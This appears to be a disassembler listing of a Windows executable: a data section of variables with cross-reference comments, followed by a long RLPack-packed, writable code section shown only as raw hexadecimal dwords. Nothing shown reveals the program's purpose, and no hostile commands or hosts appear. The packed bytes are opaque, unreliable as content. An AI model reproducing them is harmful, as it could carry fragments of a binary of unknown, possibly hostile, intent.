dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr
; sub_424F1C+38r ...
dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r
; sub_425029+2Ew ...
dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w
; sub_425029:loc_425078r
dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw
; sub_425029+60r
dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr
dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr
; sub_425C06+6Do
dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r
; sub_425C06+44o
dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r
; sub_425C06+37o
dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r
; sub_425C06+51o
align 10h
dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r
; sub_426636+4Cw ...
dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r
; sub_4268C1:loc_42692Bw
byte_4DC018 db 1 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
align 4
dword_4DC01C dd 351110h ; DATA XREF: sub_41E490:loc_41E4A1r
; sub_41FD3D+14r ...
dword_4DC020 dd 400h dup(0) ; DATA XREF: .packed:off_43D568o
; .packed:0043D570o
dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r
; sub_41E490+56r ...
dd 7 dup(0)
dword_4DD040 dd 350650h ; DATA XREF: sub_41F8E3+75r
; sub_41F9BC+2Ar ...
dword_4DD044 dd 3Fh dup(0) ; DATA XREF: sub_423B0B+92o
dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r
; sub_41F9BC+Cr ...
dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r
; sub_420749+65w ...
align 10h
dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o
; sub_420749+171o ...
dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w
; sub_420749+15Dw ...
byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w
; sub_420988:loc_420AB1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co
; sub_420749+AFo ...
byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr
; sub_420749+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew
; sub_420749+12Bw ...
dword_4DD368 dd 0 ; DATA XREF: sub_41E6CF+3Cw
; sub_41ED74+5r ...
dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar
; sub_41E742+25Ar ...
dword_4DD370 dd 0 ; DATA XREF: sub_41E6CF+31w
; sub_41E742+311w ...
dword_4DD374 dd 0 ; DATA XREF: sub_41E6CF+21w
; sub_41E742+22Dr ...
dword_4DD378 dd 0 ; DATA XREF: sub_41E6CF+28w
; sub_41E717r ...
dword_4DD37C dd 0 ; DATA XREF: sub_41E6CF+15w
; sub_41E717+8r ...
dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr
; sub_41BEF3+Fr ...
dword_4DD384 dd 350000h ; DATA XREF: sub_41BA91+5Ar
; sub_41BBE2+C0r ...
dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr
; sub_41BBE2:loc_41BC12r ...
dword_4DD38C dd 142340h ; DATA XREF: sub_41E1D3+7Aw
; sub_42367B+Fr ...
dword_4DD390 dd 1 ; DATA XREF: sub_4236D3+ADw
dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr
; sub_420B0D+11w ...
dword_4DD398 dd 35075Ch ; DATA XREF: sub_41C1B3+3Er
; sub_41D9B3+13r ...
dword_4DD39C dd 350758h ; DATA XREF: sub_41C1B3+35r
; sub_41C1B3+57r ...
dd 318h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7FAh dup(0)
_packed ends
; Section 2. (virtual address 000E0000)
; Virtual size : 0001ACD7 ( 109783.)
; Section size in file : 0001ACD7 ( 109783.)
; Offset to raw data for section: 000E0000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_RLPack segment para public 'CODE' use32
assume cs:_RLPack
;org 4E0000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
dd 0EC8B0055h, 57565351h, 903850BFh, 0F6330342h, 79124BBh
dd 0FC458D0Eh, 6847FE56h, 0F0F073Fh, 77FF0218h, 37750473h
dd 0B988150Eh, 7539004Ch, 0FB1C7408h, 11E80A80h, 59C0A901h
dd 6A155067h, 32535693h, 0F83EFC0Eh, 910AEB22h, 4814380Ch
dd 8383B009h, 0EB8108C7h, 72BB0068h, 5B5E5FA8h, 8B0EC3C9h
dd 8E082444h, 56048054h, 1FFCE83h, 2574C085h, 0BD8D5753h
dd 2C07060h, 0DE8B028Ah, 1DC17223h, 58C333D9h, 850444EEh
dd 9172202Ah, 4F07F074h, 5B5FE675h, 0F75EC6F0h, 0A7C350D0h
dd 57DB3A33h, 0B5AEFBE0h, 245004C7h, 7477FF54h, 0F08B1414h
dd 8FA23B12h, 0FC8559F8h, 0F62A74C0h, 1B100C47h, 58432875h
dd 0E2AB2D1Bh, 0F62C203Ah, 0A9571428h, 1E448D0Ch, 0C0500CFFh
dd 83FAAA2Fh, 0EB0E10C4h, 85C033D6h, 28194B1Bh, 8BD870F8h
dd 9119A0D8h, 3B06A157h, 0C38B3F8Ah, 1D49BAAEh, 5C1A8139h
dd 22A04202h, 0E91C35FFh, 15E44361h, 0D546BA6Ch, 83A53169h
dd 4B92C16h, 1D8B0620h, 8F705080h, 32647E6Ah, 10CA33D3h
dd 57F04140h, 70AF69A0h, 18C244F8h, 9B565EACh, 18B00F0Eh
dd 0BEE77589h, 8DA2BC04h, 0FDA4850Eh, 670032FFh, 88B845C7h
dd 0EAED9DBh, 62BB8D8h, 0DC7D8966h, 977C6CA2h, 0FE42A840h
dd 78EAEE6Fh, 0BDA4370Fh, 3793FE95h, 286A2C14h, 24A475CBh
dd 8A7408F9h, 25144EA5h, 0F07B0182h, 0BD70358Bh, 16D6B323h
dd 60A7DF4h, 80C71045h, 0A8EBBDB0h, 241A59D3h, 8319A364h
dd 2208C498h, 0E9896C71h, 2D040E9h, 98DB680Ah, 539A92Eh
dd 1DFA0C2h, 1059D17Bh, 76B710A3h, 88080493h, 807EA809h
dd 655D89C9h, 1F406F8h, 111DFCAFh, 65E52240h, 4E1D35E0h
dd 72589CAh, 18B0F032h, 0B918D233h, 0F71E03E8h, 14A336F1h
dd 0FF842089h, 59B8B212h, 9893741h, 0EE92026Ah, 68444380h
dd 0DF247530h, 539CC6A4h, 32AC2473h, 0A80E5071h, 4A023D22h
dd 8C5B440Bh, 7CE6809Fh, 685080F7h, 64870249h, 6D904424h
dd 2A0FC33Bh, 28A72985h, 641ABD80h, 54161A02h, 338A3CCEh
dd 223C1F7Dh, 66AE0621h, 29FC1021h, 0FD144254h, 0A4DF2313h
dd 1B167815h, 11C1FB10h, 29F90C0Eh, 0D23B2553h, 0B1B312B2h
dd 1F6B251Fh, 9AC86841h, 0FAC63247h, 60238991h, 92F26349h
dd 0E0E81937h, 101C6C92h, 0B82A868Ch, 1D391581h, 0BE16E18Ch
dd 74564408h, 0FFBFC231h, 83763AC6h, 2893044Ch, 0C20F2B23h
dd 61991A6Ah, 8056F9F7h, 508861E4h, 0AE472597h, 0F83B0A21h
dd 53BFDD72h, 0FE181010h, 0F9C0681Ah, 0A666224h, 0C4481410h
dd 8316A091h, 120A0AF8h, 0EC806626h, 9C45DB84h, 42988F43h
dd 532B180Dh, 693399A3h, 759F43D6h, 94151018h, 0F4FB3B3Bh
dd 207CC329h, 0A730574h, 74901FF4h, 98685F09h, 8068113Ah
dd 2977395Fh, 0A274C7EBh, 0E0771483h, 6A850D59h, 886C3407h
dd 5342E0F6h, 381C85C6h, 53F930E5h, 12B51487h, 2885C70Dh
dd 48F2220Dh, 4C9D1BEBh, 5EE43217h, 8C2C4834h, 77CB8A90h
dd 8010FC2Ah, 0A1718C42h, 0FF5D5178h, 0F6780F88h, 1EB46809h
dd 0E9146F06h, 0E49D6C94h, 8653E589h, 2B84EC1Bh, 0B425FAD4h
dd 902820DCh, 0DE4AE1C0h, 0E02CBD48h, 0A6E47127h, 53C4C90Ah
dd 0B8375D8h, 4DBDF83Dh, 437E1400h, 11C3FCA1h, 1C0470FFh
dd 6E59B1E3h, 126A124Fh, 0FA6668Fh, 204014EDh, 74085839h
dd 0D0681519h, 35905B07h, 881C08CCh, 9004418Ah, 10E67413h
dd 13F7A44Dh, 3F620D75h, 0E178E450h, 0AA604624h, 0D57588BDh
dd 12495359h, 0A32082DEh, 20D92BAh, 41384D1Ah, 53020BDAh
dd 3DAAF7E2h, 3224E555h, 1E15743Eh, 2A3FE96Ah, 91B38322h
dd 4273843Dh, 301CF824h, 419F4D7Ch, 0D70270B1h, 0CA34F669h
dd 894A6050h, 0D6245D86h, 621B7513h, 5199500Eh, 0CA642334h
dd 63D2840Ch, 0A6B13ABDh, 394C59A4h, 2D6C7594h, 0F97E08CAh
dd 78450F02h, 0BFDD641h, 0D4E1784Ah, 59CB0F99h, 837F2E30h
dd 703E02Ch, 5D759010h, 0A30E581Ch, 30B2B888h, 6CA1D00Bh
dd 3F6A29C1h, 2DB69CBFh, 5715198Ah, 981C6CA3h, 84DCBE2Eh
dd 0AA5612EBh, 89863912h, 0B041701Dh, 68FC1BCAh, 1C2A3918h
dd 7E02E84h, 3F07ED58h, 0F0450202h, 49BE840Fh, 1750399Dh
dd 6FFF0374h, 0B294E4Dh, 0FCB03896h, 8C7D8339h, 0CC57C06h
dd 520264F0h, 0F45D2095h, 9D405174h, 95469A0Eh, 1FB99090h
dd 807A6B8Bh, 38FC067Fh, 2FE46C1Dh, 429167A2h, 0F1D89837h
dd 85F81870h, 7891086Eh, 0F44B45C7h, 4A504751h, 25FA438h
dd 5BC0335Eh, 58C2C2C9h, 906FCCE4h, 8450047h, 996A5756h
dd 0BD8D05D1h, 0F3239070h, 8034C7A5h, 3E123160h, 85D7C089h
dd 0C1ABA8Ah, 0E909AC66h, 9A592FAFh, 0B9C714D4h, 9B81F2F4h
dd 0C00DFE74h, 0B9AF098h, 0B8F424CAh, 203BF214h, 9BD4421Ch
dd 0FF1B0910h, 0A8CBA035h, 8DB49CB3h, 849EC0DAh, 0FAF88B30h
dd 99C069CCh, 1B6A0207h, 6682805h, 0C0AE5057h, 6726AFAh
dd 22202DF3h, 149B8254h, 89100D28h, 2D531CB0h, 27784D06h
dd 357AB7Ch, 0E41C75F2h, 998B8EE2h, 0FF887F34h, 0A3AE1208h
dd 9E582ED2h, 0CAAC4DBFh, 6D14C860h, 3419F60Fh, 70B5F217h
dd 1C324571h, 0C81C89F4h, 0AA55090Fh, 5EA7088Bh, 0DC7A8567h
dd 8037E91Ah, 775014Ch, 0BBA01C68h, 98EB0C0Dh, 742A0218h
dd 459C6709h, 0CCB40C19h, 0D6A66D85h, 58BB0959h, 10686B0Ah
dd 90B88204h, 1349711Ah, 333CD0B5h, 34E6ADBh, 40C83A18h
dd 885980FDh, 21051825h, 0F67549A5h, 64E6F421h, 68152862h
dd 51499807h, 5E3CAB9Bh, 2388099Ch, 6216782Dh, 4D354CDFh
dd 6539944Fh, 289D1026h, 0EC683589h, 342C074Dh, 2699795Ah
dd 299ED3Ah, 2D2A24C3h, 1CED1B47h, 2468D118h, 522A1388h
dd 94E4BE09h, 104EBE70h, 0E5702C44h, 0CB22857h, 0BE8211A4h
dd 0B9EC4810h, 7EEB8382h, 0F52D34CDh, 21D24B9h, 59CC742Ch
dd 344CFC2h, 7E264E9Ah, 1F204FB5h, 6ACBD6B8h, 49FB2924h
dd 7426C0BCh, 930CFB41h, 20BDAB20h, 0C501006h, 0DAA83757h
dd 2C80CD0Ah, 9EF9048h, 0D7EF33Bh, 0EB01C61Eh, 0FDFE83BDh
dd 0ABB2574h, 521C4175h, 0FA924F85h, 4C77D68h, 3B0C8B66h
dd 997C1BE0h, 0D8EE7BE9h, 7902EB24h, 0FF0919B1h, 8C107822h
dd 0D808B456h, 0F37D2A02h, 403CFC91h, 54F0C7DBh, 9A8489D3h
dd 99F0FBD3h, 1BA75C9Dh, 9AFCD111h, 4C433818h, 5C1B63B7h
dd 3513FCC8h, 98291875h, 8E1C1E6h, 4478041h, 74956EB1h
dd 656A27BDh, 0E224E56h, 2BCAA856h, 68411048h, 9C27CDC4h
dd 0A117E024h, 2402AA24h, 0CC32B108h, 0C068BE50h, 0C4491145h
dd 0D4BA3147h, 218934CAh, 41EDA853h, 2822744Eh, 541F2558h
dd 204491A9h, 59072A89h, 173CD0F9h, 0EA750A7Ah, 282CB58Bh
dd 0B1968132h, 9D39CE51h, 44183446h, 3CE168A5h, 0C2A089F8h
dd 4CB9E00h, 1F6AEC4Dh, 8BDEE05Ah, 74AC20E7h, 38802603h
dd 0A129752Dh, 0A3200258h, 70BE000Fh, 0C6198901h, 30A33584h
dd 875624D5h, 0BC58279Fh, 4A000206h, 3B04E983h, 16CC7DD3h
dd 82139D38h, 0C1637458h, 1621F8DBh, 2706120Eh, 80FCE035h
dd 35F60A3Eh, 0DADEABB8h, 0D5C8F195h, 0C1462C02h, 10EC1715h
dd 21A4FF3Ch, 54BC680Ch, 20EB28F2h, 0B47F567Fh, 25BF97B1h
dd 404B9150h, 0C2088661h, 4F7AC3C6h, 3549A868h, 0D4064C1Eh
dd 0BE282AE9h, 0F183904h
dd 0B94BF85h, 52683A98h, 55D32198h, 0D0AF914h, 0B2408B6Ah
dd 0A03494AEh, 837AF611h, 0C4902A23h, 348C32E1h, 1527752Ch
dd 0B5395620h, 0D406CC7Ch, 80D448B9h, 68404D74h, 4A4EB49Fh
dd 8CCB2129h, 847039EBh, 53328B8Dh, 3392E1B4h, 174CAA99h
dd 0A9785668h, 0C78B0ADEh, 780F8EABh, 0DE0315F6h, 0BFCB8749h
dd 41B20992h, 57147BC2h, 5C440A64h, 324E25Fh, 75C2F5F7h
dd 46E494D9h, 0D51ADD70h, 4554024Bh, 3851822Ch, 83E1861Eh
dd 4A97A511h, 0B1856885h, 30677466h, 0C28B7C2Fh, 9CEFB25Fh
dd 527D86ACh, 881F1247h, 0C737EC1Eh, 0E6CD8468h, 52149096h
dd 406885E2h, 1B0DE43Dh, 5196B12Ch, 5078BA95h, 0D06AA02Ch
dd 1F956A51h, 0F8C9B843h, 0E3AAD232h, 188989D5h, 29A8D736h
dd 0EAA16032h, 2E3D1E38h, 0A278E945h, 4050F093h, 988408F1h
dd 402C4862h, 13A43AB8h, 8D216A29h, 0B090B90Bh, 6C7424A1h
dd 7E5AC023h, 6C60219h, 0A84C4740h, 0DB9049B8h, 49095728h
dd 8D51B4A0h, 154D7058h, 0E0AC7508h, 542C2E95h, 552C1DFCh
dd 2852BB4Fh, 0F6A12B0h, 94D5A1D1h, 26B34462h, 7D8BA200h
dd 38F63320h, 13742B1Fh, 0B0579093h, 28461474h, 0B060C781h
dd 7C0316CBh, 588A09DDh, 0A7877944h, 0E1740841h, 0BBD8C828h
dd 0AA9F88Bh, 0FDC3DE03h, 77A17EF3h, 0C16974C8h, 3307E632h
dd 68014003h, 5A1E9230h, 10787156h, 55346DBAh, 69435C4Ah
dd 0EB090E9Eh, 28430498h, 93F37468h, 0F8792022h, 1216B20Ah
dd 3CFC34FFh, 96874DB1h, 68A061DEh, 8991271Ch, 80C31988h
dd 4452EDA1h, 0C7D19309h, 411AEA87h, 38CCFC68h, 0CB87868Fh
dd 0BA20542Ch, 61C2488h, 5B38E947h, 2485CCDCh, 6E1AD23Dh
dd 82B8BC16h, 0C69251BEh, 273249C4h, 132C518Bh, 0C3806640h
dd 348D0E29h, 0A3D4BE0Dh, 0BF3D0927h, 48CA19E8h, 79DC6850h
dd 0C8624C26h, 0C5D0CC56h, 0F5A47534h, 4687B488h, 26841928h
dd 0F23C565Ch, 4ED9A870h, 5A2C26F3h, 5C7C6499h, 6A8045C1h
dd 0A4338904h, 54D8085Eh, 209F6A0h, 4435848Bh, 7BC55DAh
dd 50C0B403h, 0A510E8EDh, 3B28C79h, 3553B4AFh, 0C2B82394h
dd 4429025Eh, 2BD0CFAAh, 5E402795h, 4FA5EFBFh, 2E41B61h
dd 9B9CC757h, 45222168h, 9817867Ch, 0BE80FCE8h, 389648BDh
dd 88A1E620h, 60128B0Ch, 0B0F714E4h, 808AA827h, 0ECAC94E5h
dd 8ECCFC3Ch, 0A908421Ch, 0C03F82Ah, 215024CCh, 0A2B9946Dh
dd 53521684h, 1A6A1712h, 8191F59Dh, 0B3894B04h, 98806B14h
dd 0BC656368h, 0F41545FFh, 8D508B8Ah, 0C95F691Fh, 12810962h
dd 13EDC02h, 0E610E890h, 40468588h, 324F6A60h, 45EA0762h
dd 7754270h, 5C347F5Eh, 0FF782F04h, 0E9AE8447h, 0CC4AF75Ah
dd 5B78C048h, 5745316h, 0AAFCBC0Eh, 95CAEA0Ch, 22FB33CBh
dd 23FF7B66h, 671E48B2h, 3354184Ah, 794DF4E3h, 1B2A79Dh
dd 0F16EB5C2h, 2E70B84Ch, 0F78320F0h, 0B9F61BDEh, 0D82604C6h
dd 8B06EB0Ah, 0BC27BB08h, 3FB8B19h, 576B0926h, 0C03C7468h
dd 49FDFC32h, 807C808Dh, 2F742339h, 0B4A9A11Ch, 6020DED0h
dd 0F0386091h, 6851500Ch, 0C3CC5826h, 3CFA78EDh, 0A68408E9h
dd 0F40F97FFh, 734BB12Ah, 0C8A21E22h, 0FB52387Fh, 1074264Bh
dd 0CF72C5CBh, 32276B9Dh, 31695948h, 0B9A2669Ch, 72893C59h
dd 237994DEh, 3467CBB0h, 19DE73A8h, 441B6A25h, 0E01C89FBh
dd 6727DF65h, 0D554A463h, 928F7B48h, 0EC11712Bh, 0D54CC4D6h
dd 0D6426C6Ch, 1DD6F4A1h, 231359CFh, 32CB90E1h, 141BA26Ah
dd 42F01840h, 0D54C84D6h, 68600437h, 0A1D642F0h, 0D5411674h
dd 914D6FCh, 66B65DC5h, 58473EAEh, 118611D6h, 1DCAF4E1h
dd 8D59013Bh, 0C08A0148h, 945D053Ah, 0F891833h, 0A9FA24A6h
dd 0C8203FC7h, 8947C2F0h, 7579107Dh, 301970E4h, 152C14ECh
dd 63B08ACCh, 92B91A75h, 2241A2F1h, 1291305Dh, 0BF332699h
dd 94CC1D05h, 9E8E9DD0h, 5618201h, 0B572F28h, 9CABF327h
dd 811532DBh, 9F48B830h, 3D503B47h, 0DF547C2Ch, 0F4C517ABh
dd 5CF6CDC4h, 0FADC664Eh, 0D0C1784Eh, 0BA480D8Ah, 3140F369h
dd 0A4024888h, 312C10Fh, 0A7A88F8Dh, 83FD10B7h, 510427C0h
dd 354444B0h, 6465B05Dh, 78E20FF1h, 0ADF11434h, 0CAE484B8h
dd 0B47B7829h, 14880BEDh, 8B427406h, 0ED394C5Ah, 878D3B0Ah
dd 65B349B2h, 43F44599h, 330D64ADh, 5CFC70FFh, 6775D1F2h
dd 7B441A50h, 0EBE96C67h, 7589425Ah, 49617934h, 6247452Bh
dd 881A0C20h, 150D6E9Dh, 0CE181F3Dh, 6DC2284Dh, 47420414h
dd 498FB803h, 44C83942h, 8B8810C5h, 11C4A7F8h, 2F19F8E0h
dd 3B05078Bh, 409D2F13h, 5FA0EF60h, 0C70BB27Fh, 46FD3885h
dd 911C92B7h, 0E5854919h, 505EF239h, 35D8F173h, 0C8B1872h
dd 0DC68087Dh, 42AA57DDh, 0D4155745h, 0C761D612h, 115CCC68h
dd 59349D53h, 5A849E32h, 818116C0h, 1CA69640h, 0C511DD11h
dd 0B11B0BFh, 70F4B6BDh, 143A82F5h, 8018BB84h, 46A05D6h
dd 45A7CCA4h, 0AC9106A9h, 1CA7D0D6h, 14A0BD80h, 9527C30h
dd 7E390209h, 99036A16h, 0A51DA828h, 13AAED72h, 7E8421B1h
dd 7F114E15h, 0C49F8848h, 0C3E814EBh, 0F1FA60C9h, 20148078h
dd 42169588h, 6DBB5029h, 0D07D29F9h, 6A28099Dh, 0C2D0590Ch
dd 5FA70AFh, 6506C025h, 691812FBh, 908F4AF5h, 6430F2F8h
dd 0BFE224F9h, 83E64B8Eh, 0A79E574Ah, 934D5725h, 59280C21h
dd 0FB7AA7BCh, 2F354A92h, 0AF218FA8h, 4D3B93B4h, 0E9758418h
dd 0E3E38C8Bh, 3B898421h, 197204CBh, 830151A8h, 88903C1h
dd 0D3F7388Bh, 95A0830Bh, 6C728815h, 5D789C44h, 1E9815A9h
dd 0BC200910h, 231F42F4h, 323DC490h, 28433C8Ch, 4108F77h
dd 0EFF080C8h, 7847841Eh, 7464D088h, 0E386BB78h, 918D211Eh
dd 1978E264h, 65101E5Ch, 0F358881Dh, 3C4C32BCh, 44233B43h
dd 383226C4h, 1C0B213Ch, 0F6E13411h, 8D24081Bh, 30254424h
dd 37066AF4h, 54331C68h, 4CD3A308h, 15526E98h, 1A96A13Eh
dd 0C953FC08h, 6481C815h, 530A69F0h, 0E0081923h, 4ED459C9h
dd 0C4098829h, 87B838C4h, 0A86203C4h, 0E0A0431Ch, 44946825h
dd 108788C9h, 42E6F978h, 582904B8h, 0C1874C38h, 840680Dh
dd 2C108734h, 68210EF8h, 0E7141020h, 10087C38h, 9DC8F868h
dd 882462E8h, 0DC474860h, 111476B8h, 2129CC68h, 145221BCh
dd 12E829B0h, 10A46821h, 348CE298h, 415E0F74h, 9D2D9F50h
dd 560C7DC5h, 47AD569h, 0A3FC7565h, 0A2572770h, 0B45648DFh
dd 0AE1E8FCAh, 1742326Dh, 700434C2h, 0AC3F5074h, 815B9016h
dd 910E5C1Eh, 0D0D8433Fh, 0CD0FAD3Fh, 0FA23F43h, 2105AB42h
dd 243F3A3Ch, 1E20A013h, 0F53F1C53h, 211F7F3Dh, 34215336h
dd 150AC741h, 3448924Ah, 7592B75Eh, 76C7A848h, 7FAB9187h
dd 0E929D094h, 29439C0Fh, 61CA877Fh, 0BC29197Ah, 0F46C940Fh
dd 2943238Ah, 42CC05A2h, 67C7A021h, 0D236BB90h, 15169721h
dd 82A21588h, 211E7C19h, 0E2749155h, 3A8D1B40h, 681F047Dh
dd 5048C760h, 294E4471h, 45082289h, 0E22C1029h, 0B0F1F20h
dd 0C887068h, 90788573h, 1415429Ah, 0F715C6F8h, 27E86458h
dd 13849A75h, 1591BBA9h, 442AE02Bh, 0B4CC3245h, 231A4315h
dd 3205C4C4h, 0DA213CB8h, 0E2B01114h, 1EA419C5h, 0A0919121h
dd 94197CE2h, 9145211Eh, 1930E290h, 0D3101E88h, 0C4E39D13h
dd 3C7C32BEh, 78239543h
dd 743280C4h, 2334433Ch, 371FC470h, 4175D018h, 847817C6h
dd 4CB83714h, 7605E72Fh, 504A0F28h, 645E758Fh, 506AD2C4h
dd 969766CCh, 891C4AB0h, 68F5548Eh, 8F7D967h, 1015AD1Ch
dd 0F114C8C4h, 8F100C8Ch, 0CC87710h, 84106FF0h, 5A880847h
dd 36C5FC62h, 0F8232943h, 0F03214C4h, 11CEFD3Ch, 0B0211EECh
dd 70E2E491h, 211EE019h, 0E2D4915Bh, 0F7081D0Ch, 78CC440Eh
dd 230D42C2h, 37ADC4C8h, 0C10F1A8h, 0FB088FBCh, 78B0440Ch
dd 0AC4786C9h, 0A064B488h, 47868678h, 6471889Ch, 0BED7994h
dd 108F8C08h, 49E3DDD3h, 0A4CED9Ch, 0BD336E8Dh, 0B2EDD8BAh
dd 0E93E9E64h, 399D402Eh, 1A75F85Dh, 5042C094h, 5A9114C5h
dd 3F65F8C9h, 89B13320h, 0A503EB0Ah, 0BB77C315h, 9CC1D440h
dd 5712C548h, 40C7665Ch, 0D26A51D8h, 8146A36Dh, 11109F78h
dd 477424C4h, 7C03FF09h, 89AA88B4h, 299FF8CBh, 81ADBC8Bh
dd 7D89FB3Bh, 1DD04128h, 103542EBh, 0A93CA6E2h, 90163C20h
dd 5729CAB4h, 75555915h, 0EC841C42h, 0E89C444h, 4CF1801Dh
dd 59CE8A14h, 4462D735h, 0B709619Eh, 10149137h, 0E43D4486h
dd 0A3EC446h, 15B4E022h, 0D4232943h, 1109FDC2h, 867B1ECCh
dd 9B211EF5h, 86E2B891h, 211EAC19h, 0E2A89137h, 1E981922h
dd 8807D210h, 0DBDF190h, 1C213CDEh, 0E27C1106h, 1E701907h
dd 9C04B810h, 32A3C463h, 7524345Ch, 44E47A55h, 4C743525h
dd 1C305972h, 7ED27093h, 825F7AAAh, 10C45C88h, 56AA8435h
dd 0D099EC7Eh, 7B5A40CCh, 2B42213Dh, 0C44153Ch, 0D2343032h
dd 170DB7F0h, 3BA6C3FCh, 0F0829893h, 74C5C343h, 0C36ED215h
dd 0AA76E834h, 12AF33B3h, 0F9F01490h, 0B343D80Ch, 878C9D60h
dd 85368991h, 64182F10h, 329812FCh, 549C04F8h, 1492692Bh
dd 0AC02E086h, 70399D34h, 94100F26h, 0D410A3F0h, 1A72C131h
dd 0E8F09410h, 10F042A0h, 88E84B70h, 0A00CC347h, 895C19DAh
dd 3A085D05h, 0A14BAC3h, 0E7D71521h, 0CA3AA2h, 0C1830845h
dd 3619380Bh, 2832F675h, 558910E7h, 0B6A2520h, 8B8487D1h
dd 45AEB8C8h, 0C7F799CEh, 0B5D0B717h, 7346AC20h, 8A3BD13Ch
dd 0CC51337Eh, 94BB4CE6h, 20115578h, 6722A1Eh, 2DF8D08Dh
dd 301D393Bh, 85C7FA17h, 641BC9CCh, 0B8143E2Ch, 0D140589h
dd 1115BCFCh, 744174A1h, 27A0BE45h, 0F673788Dh, 57D84609h
dd 52941C50h, 0C600AF0Ch, 751E3940h, 1A68EBE6h, 0C81A964Eh
dd 0C158016Eh, 0D5FB06E1h, 8DCD331Fh, 13471FB4h, 8408B16Fh
dd 0F0A50205h, 9B2C54CBh, 83C9955Eh, 0B58911FCh, 12AA9BFEh
dd 0AC781598h, 0E18A2E75h, 5674C02Fh, 1BD807F6h, 0F2566C0h
dd 0A6D60589h, 0F8852185h, 691A1A8h, 0BA601504h, 0A065E44Ch
dd 0AF01F746h, 38C033D0h, 6A35409Dh, 957B0F30h, 8B294071h
dd 254A1DF0h, 3B80C224h, 2F5D88F3h, 81224E7Eh, 0C1C61ED0h
dd 0A11D4978h, 0FE051F58h, 1802F45h, 0EC4DBE0Fh, 7CCE133Bh
dd 2E3655DEh, 3E38649Eh, 9D2D7D26h, 4E5C26B0h, 8452F7C8h
dd 148E01Fh, 10D8B542h, 0DD2DCBDh, 0DA133E35h, 5B5043B4h
dd 20C4CA91h, 1B742A14h, 3084C411h, 4E9EDBF8h, 8806E390h
dd 1B30489Dh, 0B80952D0h, 40E4C344h, 820F3868h, 7176CC14h
dd 1891A045h, 0B80C64BCh, 5125B432h, 0CCC428A9h, 0B212AC2h
dd 0C0042C44h, 46A028F8h, 23A651F7h, 0F8C0C4B8h, 6212202Bh
dd 25752DE4h, 0EE91B465h, 2F99F7D3h, 2717E7C2h, 1A534850h
dd 33562E78h, 835926FCh, 0C90B123Eh, 641A6A87h, 16DC662Dh
dd 30C25868h, 6A225E07h, 67DC055Ah, 680A157Eh, 8B841638h
dd 5060B384h, 502718B2h, 8BDA71BFh, 0A3E2D2ACh, 14533F9Ch
dd 0DC53C917h, 0AC8B65DCh, 51F0D4FBh, 84C83A4Bh, 57BC9256h
dd 0A11237D3h, 2B55F978h, 0DF24AE7Fh, 0AEB3D496h, 68B89D1Eh
dd 93A86C0Fh, 6BF9C05Eh, 8018AB68h, 798ED540h, 0AC218444h
dd 1926DD2h, 22046843h, 0F405B289h, 0D4B4701Bh, 0D2A80885h
dd 34219762h, 413A3ED6h, 92D54810h, 413A9B16h, 0C4C1C810h
dd 84E2867Eh, 4EEFE893h, 9ED8BDDh, 0EBF00B49h, 7CA11205h
dd 1112D90h, 4C93487h, 880427C8h, 21F3940Fh, 48269122h
dd 49117413h, 3756C89Ch, 0EB8268C9h, 0C22C52Bh, 0FED627B6h
dd 48F34E10h, 388F914Fh, 608D3BFBh, 39EF1C04h, 6E78A72Ch
dd 0BC800CC8h, 5C1B2F05h, 17755929h, 9C88E6EFh, 0A6A7BB31h
dd 480C1257h, 3E26C508h, 3CA5A41Dh, 71F858B0h, 0B311FC25h
dd 24985444h, 405EC343h, 425F1949h, 0AAB44BBEh, 5906269Ah
dd 0C18C508Eh, 3517691h, 2120200Ah, 0A442C93Ch, 0FAD618C5h
